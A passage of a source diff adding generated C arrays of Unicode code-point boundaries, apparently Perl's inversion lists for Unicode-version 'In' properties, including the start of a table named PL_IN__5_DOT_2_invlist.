+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF1,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5A,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD64,
+	0xD66,
+	0xD76,
+	0xD79,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFD5,
+	0x1000,
+	0x109A,
+	0x109E,
+	0x10C6,
+	0x10D0,
+	0x10FD,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1200,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135F,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F5,
+	0x1401,
+	0x1677,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AA,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A20,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BAB,
+	0x1BAE,
+	0x1BBA,
+	0x1C00,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C80,
+	0x1D00,
+	0x1DE7,
+	0x1DFE,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x206A,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x2095,
+	0x20A0,
+	0x20B6,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x2150,
+	0x2153,
+	0x2189,
+	0x2190,
+	0x23E8,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x269E,
+	0x26A0,
+	0x26BD,
+	0x26C0,
+	0x26C4,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x275F,
+	0x2761,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27C0,
+	0x27CB,
+	0x27CC,
+	0x27CD,
+	0x27D0,
+	0x2B4D,
+	0x2B50,
+	0x2B55,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C70,
+	0x2C71,
+	0x2C7E,
+	0x2C80,
+	0x2CEB,
+	0x2CF9,
+	0x2D26,
+	0x2D30,
+	0x2D66,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E31,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312E,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31B8,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x3244,
+	0x3250,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FC4,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA500,
+	0xA62C,
+	0xA640,
+	0xA660,
+	0xA662,
+	0xA674,
+	0xA67C,
+	0xA698,
+	0xA700,
+	0xA78D,
+	0xA7FB,
+	0xA82C,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C5,
+	0xA8CE,
+	0xA8DA,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA960,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA60,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xFA2E,
+	0xFA30,
+	0xFA6B,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE27,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018B,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840,
+	0x10900,
+	0x1091A,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x12000,
+	0x1236F,
+	0x12400,
+	0x12463,
+	0x12470,
+	0x12474,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1DE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1FFFE,
+	0x2A6D7,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__5_DOT_2_invlist[] = { /* for all charsets */
+	990,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x526,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x604,
+	0x606,
+	0x61C,
+	0x61E,
+	0x620,
+	0x621,
+	0x65F,
+	0x660,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x900,
+	0x93A,
+	0x93C,
+	0x94F,
+	0x950,
+	0x956,
+	0x958,
+	0x973,
+	0x979,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FC,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF1,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5A,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD64,
+	0xD66,
+	0xD76,
+	0xD79,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFD9,
+	0x1000,
+	0x10C6,
+	0x10D0,
+	0x10FD,
+	0x1100,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135F,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F5,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BAB,
+	0x1BAE,
+	0x1BBA,
+	0x1C00,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C80,
+	0x1CD0,
+	0x1CF3,
+	0x1D00,
+	0x1DE7,
+	0x1DFD,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x206A,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x2095,
+	0x20A0,
+	0x20B9,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218A,
+	0x2190,
+	0x23E9,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x26CE,
+	0x26CF,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x2700,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x275F,
+	0x2761,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27C0,
+	0x27CB,
+	0x27CC,
+	0x27CD,
+	0x27D0,
+	0x2B4D,
+	0x2B50,
+	0x2B5A,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF2,
+	0x2CF9,
+	0x2D26,
+	0x2D30,
+	0x2D66,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E32,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312E,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31B8,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FCC,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA660,
+	0xA662,
+	0xA674,
+	0xA67C,
+	0xA698,
+	0xA6A0,
+	0xA6F8,
+	0xA700,
+	0xA78D,
+	0xA7FB,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C5,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FC,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA7C,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAE0,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA2E,
+	0xFA30,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE27,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018B,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x10860,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10A80,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B80,
+	0x10C00,
+	0x10C49,
+	0x10E60,
+	0x10E7F,
+	0x11080,
+	0x110C2,
+	0x12000,
+	0x1236F,
+	0x12400,
+	0x12463,
+	0x12470,
+	0x12474,
+	0x13000,
+	0x1342F,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1DE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
